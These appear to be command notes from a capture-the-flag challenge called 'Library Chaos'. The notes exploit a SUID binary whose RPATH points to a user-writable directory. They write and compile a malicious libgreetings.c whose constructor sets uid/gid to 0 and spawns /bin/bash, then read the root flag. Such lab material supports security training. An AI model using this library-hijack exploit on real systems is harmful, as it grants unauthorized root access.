Library Chaos

find / -type f -perm -04000 -ls 2>/dev/null

welcome

strings /usr/local/bin/welcome

objdump -x /usr/local/bin/welcome | grep RPATH

cd /home/james/.lib

ls -l

vim libgreetings.c

#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

int greetings=123;

void inject()__attribute__((constructor));

void inject()

{

setuid(0);

setgid(0);

system("/bin/bash");

}

gcc -shared -o libgreetings.so -fPIC libgreetings.c

welcome

whoami

cd /root

ls -l

cat flag